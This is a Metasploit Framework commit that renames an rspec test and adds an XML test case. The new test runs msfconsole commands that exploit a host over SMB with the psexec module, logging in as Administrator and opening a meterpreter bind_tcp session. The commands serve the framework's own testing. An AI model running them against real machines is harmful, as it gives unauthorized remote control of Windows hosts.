psexec test, rename http 100_continue test

git-svn-id: file:///home/svn/framework3/trunk@11675 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Jonathan Cran 2011-01-30 01:39:25 +00:00
parent f3081a226a
commit 9a96aed4e7
3 changed files with 33 additions and 2 deletions

View File

@ -149,7 +149,7 @@ describe "Msfconsole" do
File.open("#{@input_directory}/#{test_case.name}.rc", 'w') { |f| f.puts test_case.commands }
## Create the rspec Test Case
it "should not error on commands in: #{test_case.name}" do
it "should #{test_case.name}" do
## Gather the success / failure strings, and combine with the generics
success_strings = test_case.expected_successes

View File

@ -25,7 +25,7 @@
<failures>
</failures>
<failure_exceptions>
<success>Exploit exception: The connection was refused by the remote host</success>
<failure_exception>Exploit exception: The connection was refused by the remote host</failure_exception>
</failure_exceptions>
</output>
<msf_test>

View File

@ -0,0 +1,31 @@
<xml>
<msf_test>
<name>
psexec
</name>
<description>
This test runs psexec on a vulnerable host.
</description>
<commands>
use windows/smb/psexec
set WORKSPACE default
set RHOST vulnerable
set SMBUser Administrator
set SMBPass
set payload windows/meterpreter/bind_tcp
set LocalOutput msfconsole_spec_working/output/psexec
exploit
exit
exit
</commands>
<output>
<successes>
<success>Meterpreter session 1 opened</success>
<success>Meterpreter session 1 closed. Reason: User exit</success>
</successes>
<failures>
</failures>
<failure_exceptions>
</failure_exceptions>
</output>
<msf_test>